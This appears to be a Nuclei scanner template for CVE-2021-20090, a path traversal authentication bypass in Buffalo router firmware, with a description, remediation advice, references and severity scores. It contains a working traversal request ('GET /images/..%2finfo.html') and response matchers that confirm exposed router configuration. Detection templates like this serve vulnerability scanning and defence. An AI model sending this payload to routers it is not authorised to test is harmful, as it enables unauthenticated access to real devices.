51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2021-20090
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info:
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name: Buffalo WSR-2533DHPL2 - Path Traversal
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author: gy741
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severity: critical
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description: |
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Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
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remediation: |
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Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2021-13
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- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
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- https://www.kb.cert.org/vuls/id/914124
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- https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-20090
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cwe-id: CWE-22
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epss-score: 0.97108
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epss-percentile: 0.99727
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cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: buffalo
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product: wsr-2533dhpl2-bk_firmware
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tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable
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http:
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- raw:
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- |
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GET /images/..%2finfo.html HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'URLToken(cgi_path)'
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- 'pppoe'
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- 'wan'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a0048304602210093424102014c99ad3de9e30aaa6880dd73604def1714071cc1c32e0cd0e286e7022100fcd37d6fa397c42ccb1d14de346d7e0f9d60789b52c52a9d41739a9b45978346:922c64590222798bb761d5b6d8e72950 |